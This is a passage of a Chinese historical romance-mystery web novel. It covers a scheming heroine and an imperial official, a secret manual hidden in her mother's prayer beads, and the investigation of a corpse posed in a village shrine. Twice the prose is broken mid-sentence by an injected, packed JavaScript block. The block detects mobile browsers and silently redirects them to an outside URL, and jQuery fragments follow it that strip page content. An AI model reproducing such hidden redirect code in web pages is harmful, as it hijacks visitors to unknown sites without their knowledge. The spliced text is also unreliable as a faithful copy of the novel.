她故意顿了顿,慵懒地拖长了音:“发觉我不是你妹妹,你也松了一口气吧?” 猎物与猎人,此消彼长,不再有单方面的俯首就缚。对她的禁锢形同虚设,轻轻一挣,便叫她捏住了命门。 他的答案似乎是一个说不清道不明的答案。然而倘若不是那个一模一样的答案,彼此的问题也不会宣之于口。 他就知道,愈演愈烈的波澜不会只有他一人觉察。她也知道,冠冕堂皇的理由撑不起毫无章法的行径。 大雪掩盖着沉默的罪恶,车轮乍过,马蹄匆匆,边陲之城已然这样泥泞交杂,混乱纠缠…… ——那为何今夜乱的不能是他们? 于是,他将下巴轻抵在她的颈间,既是在告诫自己,也是在纵容某种荒唐: “谢小姐,下不为例。” 那夜青州城里下了很大的雪,一直下到日出时分。 两道身影交叠,于冬夜中抱团取暖,捱过漫漫长夜。 从第一片雪花飘落起,星星点点的肃杀渐渐聚成呜咽的洞箫。风卷庭前冰凌坠地,碎玉敲打轩窗,仿佛一篇韵音残缺的琴谱,毫无排列章法,却在琴弦间杀得你来我往。 直至最后一片雪花拂顶,那场雪崩似有备而来,一瞬间的溃不成军,压断了窗外的竹节,他们听了一整夜,所以他们都记得。 直到这时,谢晦已终于想起来一件事情。 名单呢?怎么又让他给岔过去了? 4. 前朝旧案 谢晦已悠悠转醒时,已是日上三竿。 偏头望去,李灵濯敛去了棱角,正枕在自己臂弯里,长睫微颤,似是做了一个漫长的梦,睡容格外温和。 不说话、不睁眼时,倒比平日里讨喜许多。她暗自思忖着。 李灵濯睁开眼时,正对上谢晦已打量的目光。下一刻,她以迅雷不及掩耳之势抽回手臂,还埋怨道:“胳膊都麻了。” 李灵濯紧抿着唇,最终开口提醒道:“是你昨夜非要揽着我睡的。” 瞧她今日神采奕奕,他眸光微沉,忽而欺身而上,将她牢牢困在怀中。 谢晦已动都不敢动,“你又要做什么?” “明知故问。”他说。 枝头喜鹊惊飞,掸落一城山雪。 “青州城十多年未下过雪了,莫非是有什么冤情?”院子里的洒扫侍从望着朦胧天日,啧啧称奇,转头望见谢晦已时,他毕恭毕敬地喊了一声:“见过谢小姐。” “谢小姐?”谢晦已微抬眉宇,“李大人,你对他们说了什么?” “我已对外宣称,是我认错了人,但你流落青州不假。” 李灵濯的声音从身后传来,清冷得如同冬日霜雪,“昨夜府中有人行刺,你因救我而负伤,还需休养一阵。” “所以,我现在是你的救命恩人。” 倚着门框的谢晦已收回目光,对着冻僵的双手哈了一口热气,“你这副说辞传出去,也不嫌外人觉得你鲁莽?” “寻亲心切,如何错不得?”一件皮毛大氅落在她身上,又听他温声嘱咐道,“我外出一趟,你要的东西在书房。” 谢晦已转过头,忽而朗然一笑,伸手将他敞开的衣领拢紧,指尖不经意擦过了他颈间的肌肤。 李灵濯动作一顿,随即垂眸看她:“做什么?” “我这是在维护李大人的颜面,”谢晦已语气不无调侃,“你也不想外面传出闲话吧?” “能有什么闲话?”李灵濯轻轻捏了捏她的手腕,“难道青州城里来了个伶牙俐齿的山鬼?我这就去将门窗锁好。” 谢晦已指尖顺势划过他喉结:“锁了门窗又如何?李大人昨夜不也放山鬼上了榻?” 寒暄几句,两人便各忙各的去了。卧房与书房相隔不远,谢晦已向人问了路,这会儿推开了屋门。 金丝楠木书案上摆着几册卷宗,李灵濯留给她的那本并不难找。谢晦已随手拿起,才看了几页,就捋清了昨夜发生的一切。 “那份名单,谢小姐已经见过了。”李灵濯是这样交代的。 昨夜的宴会分明是场鸿门宴,名单上的人悉数到场,表面上众人谈笑风生、觥筹交错,实则暗潮涌动、相互试探。 难怪李灵濯不肯将话挑明,原来他早就有所提防,同时也在试探她的立场。正如这几本卷宗,只记录了待查之人的罪行,而本案进程却只字未提。 谢晦已不禁暗骂:这个李灵濯,真是不拿鞭子抽就不会自己拉磨的驴。妹妹也好,救命恩人也罢,她在那些官员面前是露过脸的。如今直接向他们打探消息,或许比询问李灵濯还有用。 事不宜迟,她当机立断出了门。可马车刚一驶出府门,就猛地停了下来。 谢晦已前倾身子,轻声询问道:“外面怎么了?” 车夫赶忙回答:“谢小姐,门外围了好多人。” 闻言,谢晦已掀起车帘一角。 宽敞的道路被围得水泄不通,一群百姓正跪在地上,朝着马车大声哭喊:“钦差大人,求您为我们做主啊!” 车夫挥了挥手中的马鞭,高声呵斥:“当街拦马,成何体统!” 其中一人回应道:“世风日下,我们实在是走投无路了。这几年青州城外‘闹鬼’,好多大活人都凭空消失,官府却一直推诿不管,我们简直是求告无门啊!” “既是公事,你们大可前去官府禀告李大人,现在一副暴民做派,聚众堵在门口算怎么回事?况且你们也不问清楚,这车上坐着的……” “好了,他们也算是事出有因。”谢晦已眸光微闪,伸手掀开了车帘。 “我是暂居李府的客卿,姓谢,受李大人托付掌管府中诸事。你们若有要事,我可以代为转达。” 她目光扫过这几张憔悴的面容,又接着询问方才的百姓:“你方才说他们凭空消失,是怎么一回事?” 那人抹了一把脸上的泪水,宛若抓住救命稻草般,抬手抓住了谢晦已那一侧的车轮。 “谢小姐,几年前我去城外山谷探望亲人,进了村子却发现房门大敞,屋里空无一人!不只是我,我们这些人的经历都大差不差!” 谢晦已追问:“这是哪一年发生的事情?在任知府是不是张知府?” “是,”那人恭声答道,“大概是两年前,张知府不但没有理会此案,还叫来官兵将我们连打带骂地赶了出去。若非如此,我们岂能忍耐至今?” 谢晦已稍加思索,意识到这里面可以大做文章,故而对他们义愤填膺道: “岂有此理,青州城内竟有如此乱象?你们且随我来。” 于是,他们一行人直奔官府,由于声势浩大,沿途还引来不少百姓围观。 刘知府闻讯而来,不等她敲登闻鼓喊冤,便开门相迎,将所有人都迎了进去。 谢晦已将案情告知后,又对他严肃道:“刘大人,若不尽快彻查此案,任由此等鬼神怪力之说蔓延,青州如何安定?” 不料,刘知府听完这番话,并未正面回应,而是避重就轻道:“下官定会将此事放在心上,待下面的人整理出失踪者的相貌,便在全城张贴告示。” “光是寻人哪里够?”谢晦已不肯罢休,声音毫不遮掩,足以让外面的人听得清清楚楚。 “失踪人数少说也有几十,上报朝廷都不为过,而你却遮遮掩掩的,难道此案与张知府有关?这些百姓一路随我而来,倘若得不到一个真相,官府威严何存?刘大人,你如今公开案情,才能安抚民心啊。” 此言一出,果然有不少人竖起耳朵听这边的动静,刘知府只觉得自己的脑袋更大了。 昨夜给李大人办府宴,里里外外忙活了一大圈,前脚刚听张家死了一个人,还未来得及接手,后脚就听李大人纠正了认亲的传闻,将眼前这位敬作救命恩人……青州城什么时候这么热闹过? 眼看谢晦已情绪激愤,为避免压制不住场面,刘知府赶忙压低声音提醒道:“谢小姐,这个案子可不简单,很可能牵扯出前朝旧案。” 谢晦已眼中闪过诧异之色:“前朝旧案?愿闻其详。” 刘知府把声音压得更低了:“这和先帝时的废太子有关。十年前,废太子谋反,曾在青州城私铸兵器。” 谢晦已眸光微沉,表面却不动声色:“刘大人的意思是,张知府押解回京、我与李小姐流落青州城,还有废太子谋反,这三者有联系?” 刘知府神情凝重地点头:“正是,还望谢小姐莫要再介入此事。您既是受害者,又是李大人的救命恩人,如今被各方盯着,此案全权交由我和李大人处理便是。” 眼见自己插手不得,念及自己得了想要的答复,谢晦已索性退让一步,“我明白刘大人的顾虑,既如此,我不好再打扰刘大人查案。” 随后,她缓步而出,目光扫向堂下百姓,郑重开口道:“诸位乡亲,官府既已 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能让她沦落青州的不只是父亲,更有这些狗官的草菅人命。这桩桩件件的背后,定有幕后操纵之人,只怕那张知府也是一个傀儡。 说到底,她还是需要完完全全属于自己的势力。 此时,一缕阳光穿透了云层,冷不丁地打在她的脸上,刺得她微微合起双眸,又很快地睁开。这张冷艳的面庞难得如此鲜活,风雪在前,容纳百川。 “谢见黎。” 听见这声称呼,谢晦已扭过了头。 不等她惊讶于李灵濯为何能找到自己,他已经策马踱步到车前。一身赭红骑装衬得他意气风发,他单手勒马,来不及拨去肩上的雪,便将一个木匣递到她的手中。 谢晦已摸到了机括,“咔哒”一声,一颗睁着眼睛的人头赫然弹到她眼前。 一个人与半个人大眼瞪小眼,谢晦已后脖颈“嗡”地一下麻了整片,缓了半晌,才听见窗外之人的顽劣笑声: “谢小姐见到朝思暮想之人,连话都不会说了?” 谢晦已扭头看他,不免有些惊愕:“这是张知府的脑袋?” “早知你不认得,我随便杀个人算了,”他手上还拿着马鞭,跨过车窗轻轻点了点木匣,“山路塌了,赶在封路之前,我取了这样东西回来。看来我回来得正是时候?” 听完来龙去脉,谢晦已这才以笑脸相迎,握着他的手腕将他扯向自己:“此物真是深得我心,只是不知李大人怎会大发慈悲?” 李灵濯将她的珠串塞进她掌心:“这串沉香木早已开裂磨损,倘若不是为了纪念什么人,也没有留下的价值。一日之期到了,我总得拿出点诚意,我想这颗脑袋让你安分两日不成问题。” 谢晦已微微一怔,随后开口道:“倘若李大人的‘安分’是指不杀人放火的话,我怕是不能答应呢。” “你那火折子非要乱丢的话,一律没收也不成问题。毕竟……”李灵濯故意拖长了尾音,“是我将你从大牢里提出来,行监督之责是应当的。” 在衣冠禽兽这方面,这位指挥使大人当真是个中好手,而至于她今日都干了什么,两人心照不宣地只字未提。 由于张知府已死,谢晦已心情大好,倒也没心思与他争辩下去。“李大人还要在青州停留几日?” “至少三日。”他说。 谢晦已不动声色地敲了敲木盒,意思是“这个东西只值两日”。 “吝啬鬼,”李灵濯笑了笑,“雪影的脚程够快,带你去个地方。请谢小姐赏个光?” 5. 祖传亡命 归功于大自然的鬼斧神工,谢晦已见到了漫山遍野的玉树琼花。那似雪非霜的冰晶附着在枝桠,好似干枯枝头长出了簇簇银芽,织成件件毛茸银装。 严寒的肃杀停滞不前,山上的视野变得钝了,她也乐得将那些仇恨置之脑后。 “这样人迹罕至的地方,你是怎么发现的?”谢晦已问道。 “方才寻捷径下山时,恰好路过。”李灵濯一手按住缰绳,扶着谢晦已从马上跳了下来。 厚雪发出了“咯吱”的声响,绥江以南鲜少有这样的雪,所幸只下了一夜,不至于酿成雪灾。 两人一马走在雪道上,风声暂缓时,谢晦已开口道:“沉香木珠串是我母亲的遗物,多亏那些裂痕,村子里的人不识货,我才得以将它保留至今。” “那你要把它供起来,拜一拜,感谢它毫不起眼。”他说。 “要拜也是拜我自己。” 忆起往事,谢晦已眼里多了几分柔光:“我外祖父拿给我时,我还太小,裂痕大多是那会儿磕碰出来的。” 李灵濯不免侧头看她:“你幼时既然有亲人庇护,又怎会沦落青州?” “因为我母亲是我外祖父的养女,我与外祖父并非血亲,”谢晦已避重就轻道,“我父亲想要带走我轻而易举。” “你那时几岁?” “八岁。” 不等李灵濯说什么,谢晦已话锋一转:“李大人半路斩杀钦犯,圣上不会怪罪于你吗?” 李灵濯若有所思地垂下眸子:“谢小姐这是在担心我?杀都杀了,未免有些迟了。” 谢晦已充耳不闻,又继续说道:“我外祖父说过当今圣上仁厚,应该也不会太麻烦。” 李灵濯算了算年份,又想了想自己那会儿在干什么,想了半天,也不知她这话究竟从何而来。不过他也没提醒什么,只是意味深长地看了她一眼,随即动了动手指。 那棵被积雪压弯枝桠的柳树猛地抖动一下。厚厚的积雪顺着树杈滑落,准确无误地砸在谢晦已的头上。 谢晦已惊愕地抬起头,犹如狸猫受惊,先是抬手缓了缓眼睛,然后才顾及到头上的雪。 “这棵树怎么回事?” 话音刚落,她便瞥见了李灵濯干干净净的脑袋。前因后果自不必说,她不动声色地抓了一把雪,在手中攥成一团硬实的雪球。 抛出去的那一瞬间,她还想着:倘若裹上石头会不会效果更佳? 但李灵濯忽然侧了头,那团雪球便擦着他的脸飞了出去,只惊动了他垂下的几缕发丝,毫无波澜的眼睛像一块雕琢圆润的碧玉,唇边那一抹似有似无的笑点缀着他的促狭。 谢晦已默不作声,抢过他手里的缰绳,牵着雪影甩开他,深一脚浅一脚地在前面走着。 李灵濯说:“山野有熊,谢小姐走得那样快,可要当心撞个正着。” 谢晦已头也不回:“它们冬天要蛰伏,你知不知道?” 李灵濯轻笑一声:“沉香木里有东西,你知不知道?” 谢晦已的脚步忽然一顿。 她转过头看向李灵濯,随后将珠串从手腕摘下,对着阳光举了起来。每一颗珠子都严丝合缝,她完全瞧不出他的论断究竟从何而来。 李灵濯看出了她的困惑:“重量不对,太轻了。你应该把它砸开。” 谢晦已并未照做,而是一脸狐疑地上下打量他,似是在问:你居然没有砸? 李灵濯抬起双手,无辜地耸耸肩:“不经人同意,我一般不会动手。” 真是一副道貌岸然的嘴脸。 谢晦已拿着手串,走至一处平缓石台前,拨开上面的积雪将珠串放了上去。然而不等她找到锐利趁手的东西,一股劲风忽然飞过,紧接着,那串珠子发出了碎裂的声音。 谢晦已躲得极快:“怎么又动手了?都没给我反悔的余地。” “省事。”李灵濯收回刀,若无其事地转过身,看都不看那石台上的东西。 “热心肠的李大人对此并不好奇?”谢晦已问。 “我这人过目不忘,留给你反悔的余地。”李灵濯说。 谢晦已笑了笑,倒也没点破他是刻意回避。 她剥开断裂的沉香木外壳,发现里面的填充物是一团皱皱巴巴的白色东西,捏起来干燥硬实,完全瞧不出是什么。而珠子内部凹凸不平,像是蚁虫经年啃噬留下的痕迹。 该不会是虫蛹吧?难道珠子里生了虫子? 谢晦已盯着白团看了半晌,试图用指尖拉扯,可那东西却极有韧性,任她如何用力都纹丝不动。 这时,一阵狂风又起,谢晦已慌忙将平台上滚动的珠子拢在掌心,却仍有几颗滚进雪堆。 她弯腰去捡,指尖融化的雪水不经意间滴落在白团上。下一刻,原本僵硬的白团竟如遇水舒展的茶叶,缓缓绽开一角。 谢晦已这次又捏了捏,手感像极了一张湿润的纸。 她脑中灵光一闪,随即伸手从旁边捧了一把雪,待其被自己的体温彻底融化后,将水浇在了那团东西上面。 果然是有效的。那东西吸了水后逐渐变得柔软,并随着她的拉伸,缓缓变大变平,最终化作一张写满文字的纸。 谢晦已拿起这张纸仔细阅读,惊觉这是一页名为“昙门”的江湖门派门规。 “一寸灵台,无相无我,一念缘起,应为念生。” 情急之下,谢晦已接连打开几颗珠子,颤抖地将那几张纸整理出来。 一本名为《一念心法》的江湖秘笈,就这样被她拼凑得七零八落。翻阅目录,她发现秘笈有林林总总十几种门类,能清心安神、淬炼心性、蛊惑人心、制造幻阵、读取记忆…… 谢晦已不禁停下了动作。 她对母亲知之甚少。在她有限的记忆中,母亲只是一个鲜少言语的影子。 这几道裂口像是撕开了过往隐晦的口子,让她看见了母亲不为人知的那一面。 念及此时不是钻研的好时机,谢晦已深吸一口气,将那几张纸藏于袖中,一把攥住剩下的珠子走向李灵濯。 “李大人,你认不认得修复物件的能工巧匠?技艺精湛的那种。” 李灵濯没有吭声,以目光示意她把话说下去。 谢晦已抬手对他胡诌道:“母亲在京城为我留了东西,并把位置刻在了珠子的内壁。我记好了位置,但是珠子拼不回去了,能否请你帮个忙?” 她想着,倘若昙门尚有人在,兴许母亲的这串珠子也是一个相认的凭证。 “这个不难,也不是什么名贵材质,”李灵濯接过珠子一口答应,“不过,你不怕我知晓你的秘密?” 谢晦已满不在乎地说:“知晓了又如何?大不了分你两成。我外祖父经商多年,去世时谁也不知他家产藏于何处,这珠子里留下了真正的位置。” 李灵濯狐疑不已:“你外祖父既是有家产的,你父亲怎会没有觊觎之心?这么多年过去了,如今有没有被他挥霍一空都难说。” 谢晦已这次倒是说了真话:“我父亲对此毫不知情,毕竟我外祖父早已金盆洗手,谁也看不出他年轻时做过海上生意。” 李灵濯的神情忽然凝重起来。 本朝海关开开合合,一般以官船为主,对民间船只限制颇多,最严时甚至有过“出海者问斩”的法令。但暴利在前,民间依旧有亡命之徒铤而走险,只是绝大多数都触礁沉海,葬身鱼腹,尸骨无存。 倘若谢晦已的答复为真,这笔钱显然来路不干净,但本朝海商大多与她的描述不符,故而她这段话的真伪仍然存疑。 对此,李灵濯不禁怀疑:难不成她家亡命之徒是祖传的? 于是他打趣道:“你不怕我到了京城告发你?” 谢晦已眉头轻抬,语气轻快:“大人在说什么?虚无缥缈的玩笑话也要当真?” 李灵濯面不改色:“是吗?谢小姐想靠这虚无缥缈的玩笑话欠我人情?” 闻言,谢晦已心领神会地靠近他,在他喉结轻轻落下一吻。 “那又怎么了?李大人,凭我们的交情,别那么小气啊。” 李灵濯那双深戾的眸子微微眯起,多了几分意味不明的幽暗,“谢小姐今日又不守寡了?” 谢晦已微微一笑:“让他见鬼去吧。” 话音刚落,李灵濯便俯身压在她的双唇上,又抬手捂住了她的双耳。谢晦已还没有反应过来,就被他一同拉入这场短暂的逃亡。 他紧密地缠绕着她,似乎忘了初衷,也忘了京城的过往,谢晦已不得已连连向后退让,直到抵在树干上。 零星的积雪再度洒下,这次洒了他们一身,她鼻腔里满是冷冽的冰晶,与他身上淡淡的龙涎香,引得她忽然忆起昨夜种种。 李大人还真是很好用,方方面面,她默默地想。 也不对。 至少这几日的他太过阴魂不散,嘴上说是要管住自己的火折子,实则连个府门都不让出。 “监管之责。”他说。 “李大人不去管那些贪官恶吏,只盯着我算什么能耐?”她佯装愤怒道。 道高一尺,魔高一丈。“砰”的一声,门窗紧闭,连着几日都没对他敞开。 借机得了清净,谢晦已赶忙将珠串中的心法誊写出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875682|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,通篇反复背诵,继而调动心神进行修行。仅仅几夜的揣摩,她便感受到了体内游走的暖流,可这点进展远远不够。 若是急于求成,倒是有一条禁忌的法子:吸食旁人心念,如同精怪摄人心魄,但稍有不慎便会走火入魔,她当下并不想冒险。 至于昙门,她稍作了解后,便彻底消了让李灵濯帮自己查明来历的念头。 这门派隐于江湖之中,每一代弟子不足十人,又分成明派与隐派。明派行走于人前,便是母亲这一脉。可惜母亲早逝,未能将门派发扬光大,如今落在她手中,她不动歪心思简直是暴殄天物。 盘算着时日,谢晦已将誊写的心法丢入炭火盆中,假装自己消了气,终于叫人收下了门外堆积成山的稀罕玩意,早早来到了李灵濯的书房中。 “稀客,真是有失远迎。”李灵濯拉着她的手,引至书案前。 她左腕戴着两只和田黄玉,原本是一对,却叫她通通戴在左腕上,右腕另戴了一只金镶玉镯,行走间叮当作响,轻快得像枝头上的山雀。 “这是什么?”谢晦已看向桌上厚厚的一摞册子,“堆了这么多,你看得过来吗?” 李灵濯盯着她的双眼,避而不答:“谢小姐向来深居简出,怎么今日有空来了?” “李大人可真是贵人多忘事,三日之期已过,我自然是来打听消息的,”谢晦已顺势坐在他腿上,双手揽住他的脖颈,“劳烦李大人告知一二?” 李灵濯幽深的眸子垂了下来:“你是无事不登三宝殿。” 谢晦已轻笑,主动吻上他的唇。 张知府人头落地,明里暗里的人都有了动作。短短三日,外界已然天翻地覆。 李灵濯以“畏罪自杀”定性了此事,折子一经回京,朝堂简直炸开了锅。刘知府三天两头往这边跑,今日亦是如此。 “李大人!青州城内有传言,说张大人是您擅自处置,为的就是灭口。百姓们信以为真,今天又围在府衙讨说法了!”刘知府一路嚷着往书房赶。 谢晦已远远听见动静,赶忙起身拉紧了领口,又趁李灵濯不备,顺手抄走书案上的折子,继而麻利地翻阅了几页。 只一眼,她便露出了一言难尽的神情。 李灵濯居然在看弹劾自己的折子?这是什么癖好? 刘知府步至屋外叩响门扉,得到准允后才踏入书房。“李大人,您真的不着急?虽说宗室有禹王等人替您求情,圣上并未降罪,但是那些弹劾……” 刘知府满脸都写着愁思过重,多日不见,谢晦已发觉他发髻松散许多。 而对于勤勤恳恳的刘知府,李灵濯今日只觉得格外恼火:“急什么?不是还没降罪吗?有什么好‘但是’的?” “啊、啊?”刘知府被训得发懵,向谢晦已投去询问的目光。 谢晦已偏头瞥了一眼李灵濯,再开口时竟与他一唱一和道: “刘大人放宽心,李大人吉人天相,只要脑袋还在,就不算大事。更何况他向来英明神武,哪用得着我们操心?” 闻言,李灵濯疑神疑鬼地上下打量她,不知她今日怎么就转了性子。 然而不等他做出回应,就听谢晦已果真是欲抑先扬,这会儿忽然话锋一转:“可是李大人什么都不做,又怎能堵住悠悠之口?作为李大人的救命恩人,我自是责无旁贷。” 李灵濯冷哼一声,随后开口道:“恩人有何高见?” 谢晦已将折子还了回去,斜倚在书案上偏头瞧他:“李大人不若趁势收网,将青州余孽连根拔起。我自小在山林间长大,路径地形熟稔于心,既能做李大人的耳目,又能当个得力帮手。” 李灵濯没有吭声,随手将那折子丢得远远的。 见状,谢晦已不禁勾了勾唇角,又继续说道:“前些日子我在官府露过面,比起你们,百姓们应当更乐于听我这个本地人的安抚。况且我对他们发过誓,后续迟迟不出面也说不过去。 “届时结案呈京,既能安抚民心,也能堵住非议,还能让圣上看见李大人的雷霆手段,整个青州府怕是都要赞一声,‘李大人思虑周全’呢。” 似是想征询刘知府的意见,谢晦已又转头看他:“我想刘大人也是这样认为的,对吗?” 不等刘知府做出应答,李灵濯放下手中朱笔,幽幽开了口: “恩人所言甚是,可是刀剑无眼,你去了反而会叫我分心。不若暂留府中,待山林里真出差错,你再搬来救兵也不迟。” “李大人说得在理,”谢晦已答应得很痛快,“我留在青州府,照着名单点卯,过一刻杀一人,也算替李大人解决后顾之忧。” 6. 神像观棋 刘知府终于觉察到自己多余,脚底抹油直接开溜。 待他走后,李灵濯才打开暗格,拿出锁了多日的匕首抛给她,“大费周章。你若真想跟我去,直说便是,拿外人做筏子逼我算什么道理?” “谁知道你这人一不开心,能干得出来什么事?”谢晦已接住匕首,抿着嘴摇了摇头,“我可没别的法子,李大人迟迟不给个准话,我总不能干等着吧?” 李灵濯默不作声,假装自己在闭目养神,向后仰靠在椅背上。 谢晦已收起匕首,从身后轻轻揽住李灵濯的脖颈,吐气如兰:“瞧瞧,李大人总这么拒人千里、不苟言笑的,我哪敢直接开口?这可不怪我。” 李灵濯依旧闭目养神,睫毛轻颤,声音平静却带着一丝无奈:“谢小姐倒打一耙的本事愈发见长了。” “李大人睁眼说瞎话的本事也越发精湛了?”谢晦已指尖顺着他下颌游走,捏住了他的下巴,“前几日我说要出府,是谁拦着不让?好像外面有什么精怪似的。” 李灵濯缓缓睁眼,将她拉到自己身前:“谢小姐说出这种话,良心不会痛吗?” 他凑在谢晦已的耳畔:“若不是我拦着,某人现在还握着别人的玉佩呢,也不知还要夸多少人一句‘知你心忧’。” “这是哪日的事情?明明这句话我只对李大人说过。”谢晦已将手探进笋衣,抽丝剥茧,温热柔荑反复把玩着清凉美玉,拨弄着他的逆鳞。 “数日未见,我现在一整颗心都扑在李大人身上,李大人非要这样不解风情?” “是吗?” 李灵濯突然扣住她手腕,将其压在书案上,“让我看看谢小姐这话说得有几分是真。” 卷宗散落一地,砚台里的墨汁泼溅出来,在她月白色裙摆洇开了一朵朵墨色的牡丹,瑰丽而又不失热烈,像极了秋后悬在枯枝上的残叶,将落未落,于萧瑟秋风中摇曳,又如逆流而上的一叶孤舟,听取江涛声澎湃,而心弦又未止…… 她紧紧抱住了那一抹残阳,温热的余韵正从她身上缓缓褪下。 *** 青州城外。 一行人虽是搜寻无果,却也在村中查到几名身世不明的女子。待几名暗卫审问村民时,谢晦已悄悄离了村落,只身走进树林中。 接下来的事她插不上手,与其干等着结果,不若借此机会学习马术,总不能日后事事仰仗李灵濯带她去。 “怎么忽然想让我教你骑马?”李灵濯扯住雪影的缰绳,扶她上马踱步,“低头,当心前面。” “李大人马术精湛,不是由你教还能是谁?”谢晦已偏头躲过低矮的树枝,避重就轻道。 雪影似乎很不习惯这样踱步,不耐烦地甩了甩头。 李灵濯陪同在侧,伸手摩挲雪影的鬃毛,又对谢晦已叮嘱道:“村子里鱼龙混杂,你别走远,在这里兜圈子就好。” “知道了。这里是第几个村子?张知府当初交代给你的村庄,如今还有几处?”谢晦已问。 “外围的还剩一处,剩下的就要向深处行进,是山谷里那些‘闹鬼’的无人村庄。”李灵濯答道。 谢晦已稳坐在马背上,回头打量那些衣衫褴褛的妇人: “李大人搜寻的村庄,不只是张知府提供的那些吧?张知府在任不过三年,这些人不像是刚来青州,是受十年前那场旧案牵连吗?” “是也不是,”李灵濯转头看她,“这里官府管辖不到,拐卖良家女子与孩童是常有之事。比如你。” 谢晦已觉察到了什么,不禁追问道:“也就是说,你解救我、解救这些人都是顺手之事,无所谓什么三年前、什么十年前的?” “青州沉疴已久,既是让我看见,又怎么能袖手旁观?”李灵濯说。 “李大人如此侠肝义胆,真是闻所未闻。” 谢晦已皮笑肉不笑,语气格外冰冷:“我猜,你那日寻到我也是凑巧路过。” 她侧过身,一手捏起李灵濯的下巴,让他直视自己的眼睛。 “所以,你故意透露张知府的事情,是想误导我,进而借刀杀人?那场鸿门宴不过是以我为由头,既是试探那群狗官,也是在试探我的立场。 “那一夜,想利用我达成目的之人不在少数,无论结果如何,无论我背叛与否,一句‘寻亲心切认错了人’便能收场,李大人真是好谋算。” 李灵濯那双碧瞳映照出她的身影,仿佛自始至终,她都深陷其中。 牢狱里的那三日,恐怕不是什么相视无言,而是眼前之人正盘算着,如何将自己吃干抹净。 也正如此刻她无需再问,倘若自己毫无利用价值,或是选择与他站在对立面,如今等待自己的会是什么下场。 “幸好我选择了你,是吗?”谢晦已冷笑道。 闻言,李灵濯眉宇微松,轻扯唇角:“不,是我先看见你了。” 谢晦已又是一声冷笑:“那可真是恭喜啊。” 李灵濯面不改色,伸手捏住她的手腕,“君子论迹不论心,眼下情形难道不合谢小姐的意?” “那也要看同谁做对比,李大人非要与奸商为伍,我自是不会心怀感激。” 谢晦已目光灼灼,进而毫不留情地戳穿了他,“你们兄妹多年未见,不见得有几分情谊。寻亲也好救人也罢,一切都是浮于表面的幌子。李大人并非慈悲为怀,若论心的话,你与那些狗官并无区别。” 李灵濯微微一笑,料想到她别有目的,“谢小姐忽然说起此事又是为何?是想论心,还是论迹?” 谢晦已问道:“若是论迹,你打算如何安顿那些妇人?” “交由官府,记得原籍的遣回原籍,不记得身世的,发布告示找寻亲人,由官府暂且安置在青州,拨一笔善款交给她们以作安身之本。”李灵濯答道。 “就这样?”谢晦已挑了挑眉,说不清是惊讶还是失望。 就在这时,李灵濯身边的暗卫素秉匆匆前来汇报。 “主子!村子里的祠堂很不对劲,我们把门推开,发现……”素秉看了一眼面色严肃的二人,下意识地顿足噤声。 谢晦已松开手,翻身下马,将雪影交还到李灵濯手中,头也不回地朝祠堂走去。 寒风卷着枯叶在地上打着旋,远处祠堂的飞檐在暮色中若隐若现,透着一股说不出的阴森。 几人来到祠堂,踏入的瞬间,一股腐烂与潮湿的气息扑面而来,虽然素秉与其他人早就开窗通风,然而效果甚微。 只见堂中跪着一具尸首,双眼紧闭,身上溃烂处有蛆虫蠕动,他们的开门声惊飞了一片蝇虫。 在尸体跪拜的方向,一尊崭新的神像端然而立,被众多牌位簇拥在中间。神像面容慈祥,眉眼间带着悲悯众生的温柔,尤其是那双眼眸,栩栩如生,仿佛正静静观望着人世间,无论罪恶与仁善,它都不发一言,视众生如棋子。 李灵濯将谢晦已揽在身后,目光在尸体与神像间游移:“难道没有人发现这具尸体?村民翻新这尊神像应该是最近的事情吧?” 素秉恭声道:“主子,祠堂每月初一十五才有人清扫,平时都是大门紧锁的。这尊神像确实是前不久翻新的。” 谢晦已这时开口解释道:“青州地区都是这样的,腊月修神像,正月跳傩舞。傩舞起,百病消。” 李灵濯辨别声音的来源后,皱眉看向她所在的位置:“你在干什么?离那里远些。” 只见谢晦已蹲在尸体前,手中捏着一方帕子,正小心翼翼地按压活动尸体的各个关节。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875683|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们也没带仵作来,我自然要检查一下这具尸体是怎么被固定在这的。” “你还会查验尸体?” “宰过猪,略懂一些关节骨骼。” 李灵濯走近她,“现在有答案了吗?” 谢晦丢掉帕子,指着尸体蜷缩的膝盖道:“八成把握吧。死者呈跪拜姿势,显然是凶手刻意为之。但既然是跪拜,死者却衣衫不整,丝毫看不出恭敬之意。我猜凶手本想让死者衣着得体,最终却没能做到。” 李灵濯沉吟片刻,顺着她的思路接着分析:“尸体已经僵硬,关节活动受限,凶手就算想给他穿好衣裳,也根本没法摆弄了。” “但是这很奇怪,”谢晦已摇了摇头,“现在是冬天,尸体不易腐烂,凶手最少有七日时间藏尸,既然重视这一环节,为何不多等一天,等尸体关节能活动再抛尸呢?” 李灵濯与她仿佛心有灵犀,下意识地环顾四周:“初一十五祠堂才会有人,她能动手的日子比七日还要久。一定有什么缘由,导致她等不那么久了。” “死者是冻死的,”谢晦已的目光中透露着思索,“他身上残留的衣物有撕扯的痕迹,冻死之人会不由自主地脱掉衣服,且保持蜷缩的状态,凶手正是利用了这一点,将尸体摆成了跪拜姿势。” 就在这时,她眸光一闪,给出了大胆的推测:“从这些情况来看,我猜想凶手应当是一个比死者弱小、力气有限的人。比如,他的妻子。” 言罢,她忽然转头看向素秉:“村民说这人是什么身份?” 